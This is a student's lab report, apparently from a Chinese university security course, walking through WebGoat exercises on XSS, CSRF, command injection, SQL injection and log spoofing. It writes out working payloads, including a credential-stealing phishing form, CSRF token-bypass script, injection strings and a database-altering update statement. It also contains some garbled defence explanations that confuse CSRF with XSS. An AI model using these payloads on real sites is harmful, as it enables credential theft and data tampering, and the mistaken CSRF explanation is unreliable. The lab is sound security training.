# 2017-2018-2 20155319《网络对抗技术》Exp9 :Web安全基础

2017-2018-2 20155319《网络对抗技术》Exp9 :Web安全基础

实践过程

webgoat准备

  • 从GitHub上下载jar包(老师的虚拟机中有 无需下载)
  • 拷贝到本地,并使用命令java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat,出现INFO: Starting ProtocolHandler ["http-bio-8080"]则开启成功,可以看到占用8080端口.
  • 打开浏览器输入127.0.0.1:8080/WebGoat,使用默认名和密码登录
  • 在Webgoat中,solution是答案,hints是提示。

(一)XSS攻击

Phishing with XSS

使用XSS和HTML插入,您的目标是:
将html插入该请求凭据,添加javascript以实际收集凭据,将凭据发送到http://localhost:8080/WebGoat/catcher?PROPERTY=yes…,要通过本课程,凭证必须发布到捕获者servlet。

  • 输入一段简单的代码来实现:
</form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.form.user.value + "&password=" + document.form.pass.value + "";
        alert(".....your information was stolen by rhl! User Name = " + document.form.user.value + " Password = " + document.form.pass.value);
    } 
</script>
<form name="form">
<br>
<br>
<HR>
    <H2>Welcome</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你:

  • 攻击成功!

Stored XSS Attacks

  • 储存型XSS攻击:XSS攻击代码存储于数据库中,每次当用户打开此网页时便会执行,危害大,常用语留言板,每次当用户查看留言信息时即触发。导致用户访问时载入非预期的页面或内容

  • 先在title里随便输入某些内容

  • 然后在message中输入一串代码<script>alert(" you have been attacked by rhl !");</script>

Reflected XSS Attacks

反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。


在服务器端验证所有输入始终是一个很好的做法。当在HTTP响应中使用未经验证的用户输入时,可能发生XSS。在一个反射的XSS攻击中,攻击者可以用攻击脚本制作URL并将其张贴到另一个网站上,发送电子邮件,或者以其他方式让受害者点击它。

  • 当我们输入错误用户信息后,服务器校验输入有误,返回错误页面并将错误内容展示给我们看:
  • 这时如果我们将带有攻击性的URL作为输入源,同上输入<script>alert("This website is not safe");</script>

(二)CSRF攻击

跨站脚本攻击:Cross Site Request Forgery

您的目标是向新闻组发送电子邮件。 该电子邮件包含一个图像,其URL指向恶意请求。 在本课中,URL应该指向“攻击”servlet,其中包含课程的“屏幕”和“菜单”参数,以及具有任意数值的额外参数“transferFunds”(如5000)。您可以通过查找“屏幕”来构建链接 “和”菜单“值在右侧的参数插入。 当时通过身份认证的CSRF电子邮件的接收者将转移资金。

  • 我们在message框中输入这样一串代码
    <img src='attack?Screen=277&menu=900&transferFunds=5000' width='1' height='1'>
    注意这里面的Screen和menu的值每个人的电脑可能不一样,可以在当前页面的底端查看。

XSS提升:CSRF Prompt By-Pass

目标是向包含多个恶意请求的新闻组发送电子邮件:第一个转移资金,第二个请求确认第一个请求被触发的提示。URL应该指向这个CSRF提示的攻击servlet,通过PASS课程的屏幕、菜单参数和一个额外的参数“TrimeBoover”,它具有一个数字值,比如“5000”来启动一个传输,一个字符串值“确认”完成它。您可以从右边的插图复制该课程的参数,创建“攻击”格式的URL。屏幕= xxx和菜单= yyy和转移资金= ZZZ”。无论谁收到这封电子邮件,恰巧在那时被认证,他的资金将被转移。当您认为攻击成功时,刷新页面,您将在左侧菜单中找到绿色检查

  • 和上一个实验类似,多了一个确认的按钮
  • 输入代码
<img src="attack?Screen=272&menu=900&transferFunds=10000"> 
<img src="attack?Screen=272&menu=900&transferFunds=confirm" >

  • 攻击成功

CSRF令牌攻击:CSRF Token By-Pass

类似于CSRF课程,您的目标是向包含恶意请求转移资金的新闻组发送电子邮件。 要成功完成,您需要获取有效的请求令牌。提供转账资金表单的页面包含一个有效的请求令牌。转移资金页面的URL是本课程的“屏幕”和“菜单”查询参数以及额外的参数“transferFunds=main”的“攻击”servlet。加载此页面,读取令牌,并在伪造的请求中附加令牌以传输数据。当您认为攻击成功时,刷新页面,您将在左侧菜单中找到绿色检查。

  • 在前面实验的基础上,使用令牌传输数据
  • 输入代码
<script>
var readToken = function(){
var doc = document.getElementById("frame1").contentDocument
var token = doc.getElementsByName("CSRFToken")[0].getAttribute("value");
alert(token);
var frame2 = document.getElementById("frame2");
frame2.src = "attack?Screen=277&menu=900&transferFunds=4000&CSRFToken="+token;
}
</script>
<iframe id="frame2" ></iframe>
<iframe id="frame1" onload="readToken()" src="attack?Screen=277&menu=900&transferFunds=main" ></iframe>

(三)SQL注入攻击

SQL注入攻击对任何数据库驱动的站点都构成严重威胁。攻击背后的方法很容易学习,造成的损害可以从相当大到完全的系统妥协。尽管存在这些风险,但互联网上令人难以置信的系统数量易受这种攻击形式的影响。对所有输入数据进行清理,尤其是在OS命令、脚本和数据库查询中使用的数据,以某种其他方式阻止SQL注入的威胁,也是很好的做法。

Command Injection

  • 在目标主机上执行系统命令,通过火狐浏览器下的Firebug对源代码进行修改,右键BackDoors.help,选inspect element显示源代码& netstat -an & ipconfig

  • 选中修改后的值再点view,可以看到命令被执行,出现系统网络连接情况

数字型注入:Numeric SQL Injection

  • 题目要求:下面的表单允许用户查看天气数据。尝试注入导致所有天气数据显示的SQL字符串。现在,您已经成功执行SQL注入,尝试对参数化查询进行相同类型的攻击。

  • 加上一个1=1这种永真式即可达到我们的目的,依旧利用firebug,在任意一个值比如101旁边加上or 1=1:

  • 选中Columbia,点Go,出现所有城市的天气:

日志欺骗:Log Spoofing

  • 顾名思义,就是添加假的日志信息来迷惑操作系统,目的是让用户名“admin”成功登录。
  • 在User Name输入rhl%0d%0aLogin Succeeded for username: admin,%0d是空格,%0a是换行
  • 点击登录出现两行,一行提示rhl登录失败,另一行提示admin登录成功,这些信息就会被保存到日志里了。

字符串注入:String SQL Injection

  • 这里和之前一样,基于select语句构造SQL注入字符串,在文本框中输入' or 1=1 --
  • 第一个分号用来闭合last_name的第一个分号,而第二个分号用来闭合last_name的第二个分号。将一条语句被强行拆分成为两条语句。
  • 点Go,攻击成功

LAB:SQL Injection(Stage 1:String SQL Injection)

  • 以用户larry登录,在密码栏中输入' or 1=1 --

  • 查看网页代码后发现这里设定的长度不够。然后进行修改:

  • 成功~

SQL Injection(Stage 3:Numeric SQL Injection)

  • 跟之前是一样的方法,然后点击ViewProfile可以浏览员工信息:

  • 使用inspect分析一下这个按钮,发现这个地方是以员工ID作为索引传递参数的,我们要达到通过Larry来浏览老板账户信息的目的,一般来说老板的工资都应该是最高的,所以把其中的value值改为101 or 1=1 order by salary desc --

  • 可以查看到老板的信息:

Database Backdoors

  • 先输一个101,得到了该用户的信息
  • 输入注入语句:101; update employee set Password=000

遇到问题

q:

  • 点击restart即可。可能是加载题目问题,具体不太清楚...

实验问题回答

  • SQL注入攻击原理,如何防御
    • 程序对用户输入数据的合法性没有判断就直接插入查询语句,攻击者就可以添加额外的SQL语句或使用注释字符得到额外的信息
    • 对输入的字符串进行处理,筛除特殊字符
    • 普通用户与系统管理员用户的权限要有严格的区分
  • XSS攻击的原理,如何防御
    • 表单提交的时候进行特殊字符的检测
    • 对输入框做长度限制
    • 在后台对数据进行过滤
  • CSRF攻击原理,如何防御
    • CSRF是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。一般存在XSS漏洞的网站,也极有可能存在CSRF漏洞。
    • 使用token:每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定位CSRF攻击。
    • 将提交方法改为post
    • 定期清理cookie

实验感受

最后一次实验,做完特别有感觉。每个实验联系过程都很有趣,想要深入的研究一下,希望以后有时间可以把上面的题目都做一遍!也遇到了很多问题,这个软件都是英文版本,所以用起来很费劲,实在不行就只能百度翻译了...

posted @ 2018-05-27 13:04  20155319任泓霖  阅读(181)  评论(0编辑  收藏  举报